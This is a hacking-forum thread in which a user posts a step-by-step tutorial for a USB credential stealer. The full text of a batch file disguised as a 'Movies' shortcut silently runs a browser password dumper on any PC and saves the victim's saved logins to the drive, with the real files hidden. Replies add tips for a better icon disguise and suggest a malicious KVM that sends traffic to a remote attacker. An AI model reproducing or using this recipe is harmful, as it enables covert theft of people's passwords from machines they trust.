[mkadem1997]

Simple tut, straight to the point.
Open to some input.

We will make it more or less discreet too.


Output will look like this



1. Download
Browser Password Dump : Free Command-line Tool to Recover Login Password from all Web Browsers

OR
DIRECT LINK



2. Extract the files with the password securityxploded2007


3. Run the installer, and choose the install directory to be the USB.




4. Create the folders with the name Movies and Browser Passwords

5. Open notepad, and paste the following into it - then save the file as Movies.bat
Code:

PHP Code:

@echo off @echo off cd %cd:~0,2% start BrowserPasswordDump\BrowserPasswordDump.exe -f "Browser Passwords\%computername%.log" start %SystemRoot%\explorer.exe "Movies"

6. Right click your Movies.bat file, and create a shortcut, then rename to just Movies

7. Right click your shortcut, and hit properties, then choose icon.




8. Select all the files except the movie shortcut and then right click, properties and then click hidden.

9. Run that shortcut on any PC, and the passwords will all be exported to the folder Browser Passwords\

10. Now to access that folder you can just do this, remember to replace D:\ with your current USB drive

[phyrrus9]

Why not just use a maliciously crafted piece of benign hardware or software? Like, say a KVM with an extra endpoint to send all traffic to a remote attacker? Bonus points using a KVM because it's bidirectional.

[mothered]

When changing the Icon, It's best to use an Icon changer and not the native feature via Windows. Depending on the other device, the Icon may display In It's default state prior to the change.

That aside, appreciate the tutorial.

[Bish0pQ]

I appreciate the tutorial, but indeed, it would be nicer to have something that automatically saves the passwords without any user interaction. This would be done on a hardware level though. Thanks for sharing this nonetheless.

[phyrrus9]

I appreciate the tutorial, but indeed, it would be nicer to have something that automatically saves the passwords without any user interaction. This would be done on a hardware level though. Thanks for sharing this nonetheless.

That's not true, take a look at the example I posted. That's done at the kernel level (software)